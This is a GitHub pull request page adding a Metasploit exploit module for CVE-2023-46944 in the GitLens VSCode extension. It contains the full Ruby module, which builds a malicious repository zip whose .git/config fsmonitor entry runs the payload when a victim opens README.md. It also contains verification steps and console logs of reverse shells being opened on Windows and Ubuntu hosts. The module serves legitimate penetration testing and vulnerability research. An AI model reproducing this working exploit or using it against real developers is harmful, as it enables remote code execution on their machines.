Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

GitLens (VSCode Extension) exploit module (cve-2023-46944) #18997

Merged
4 commits merged into from
Apr 19, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,95 @@
## Vulnerable Application

GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.

Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10

### Install

Download the extension [gitlens-13.6.0.vsix](https://github.com/gitkraken/vscode-gitlens/releases/download/v13.6.0/gitlens-13.6.0.vsix)

1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, Auto Update Extensions -> None.
1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, install from vsix.

## Verification Steps

1. Install the extension
1. Start msfconsole
1. Do: `use exploit/multi/fileformat/gitlens_local_config_exec`
1. Do: `run`
1. Unzip the repo
1. Open the folder in Visual Studio Code
1. When prompted, select "No, I don't trust the authors"
1. Open the `README.md` file and put the cursor on the first line.
1. You should get a shell.

## Options

### README

The content of the `README.md` file. Defaults to `# Test`

## Scenarios

### VSCode 1.87.2 on Windows 10 Pro (22H2) with GitLens 13.6.0

```
[*] Processing gitlens.rb for ERB directives.
resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec
[*] Using configured payload cmd/unix/reverse_bash
resource (gitlens.rb)> set target 1
target => 1
resource (gitlens.rb)> set lhost 192.168.10.147
lhost => 192.168.10.147
msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit

[*] Started reverse TCP handler on 192.168.10.147:4444
[+] repo.zip stored at /root/.msf4/local/repo.zip
[*] Waiting for shell
```

Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line.

```
[*] Sending stage (336 bytes) to 192.168.10.100
[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.100:62807) at 2024-03-19 17:46:46 +0000
h00die marked this conversation as resolved.
Show resolved Hide resolved


Shell Banner:
Microsoft Windows [Version 10.0.19045.4170]
-----


C:\Users\h00die\Desktop\repo>whoami
whoami
h00die

C:\Users\h00die\Desktop\repo>
```
### VSCode 1.87.2 on Windows 10 Pro (1809), utilizing remote connection to Ubuntu 22.04 with GitLens 13.6.0 installed

```
$ ./msfconsole -qr gitlens.rb
[*] Processing gitlens.rb for ERB directives.
resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec
[*] Using configured payload cmd/unix/reverse_bash
resource (gitlens.rb)> set lhost 192.168.10.147
lhost => 192.168.10.147
msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit

[*] Started reverse TCP handler on 192.168.10.147:4444
[+] repo.zip stored at /root/.msf4/local/repo.zip
[*] Waiting for shell
```

Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line.

```
[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.147:53600) at 2024-03-19 18:26:04 +0000

[*] Command shell session 2 opened (192.168.10.147:4444 -> 192.168.10.147:53612) at 2024-03-19 18:26:06 +0000
id
uid=1000(notroot) gid=1000(notroot) groups=1000(notroot),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker)
```
110 changes: 110 additions & 0 deletions modules/exploits/multi/fileformat/gitlens_local_config_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLens Git Local Configuration Exec',
'Description' => %q{
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.

Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Metasploit module
'Paul Gerste', # Original advisory and PoC
],
'References' => [
['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],
['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook
['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch
['CVE', '2023-46944']
],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => false,
'FILENAME' => 'repo.zip',
'WfsDelay' => 3_600 # 1hr
},
'Arch' => ARCH_CMD,
'Targets' => [
[
'Linux/Unix (In-Memory)',
{
'Platform' => [ 'unix', 'linux' ],
'Type' => :unix_cmd
},
],
# There may be a size limit, but using fetch payloads works great
[
'PowerShell (In-Memory)',
{
'Platform' => 'win',
'Payload' => {
'BadChars' => '"&'
}
}
],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
},
'Privileged' => false,
'DisclosureDate' => '2023-11-14'
)
)

register_options([
OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])
])
end

def readme
datastore['README'].to_s
end

def git_head
'ref: refs/heads/master'
end

def git_config
%([core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
end

def exploit
# Create malicious zip archive containing our git repo
files =
[
{ data: readme, fname: 'README.md' },
{ data: git_config, fname: '.git/config' },
{ data: git_head, fname: '.git/HEAD' },
{ data: '', fname: '.git/objects/info/' },
{ data: '', fname: '.git/objects/pack/' },
{ data: '', fname: '.git/refs/heads/' },
{ data: '', fname: '.git/refs/tags/' },
]

zip = Msf::Util::EXE.to_zip(files)

file_create(zip)
print_status('Waiting for shell')
end
end
Loading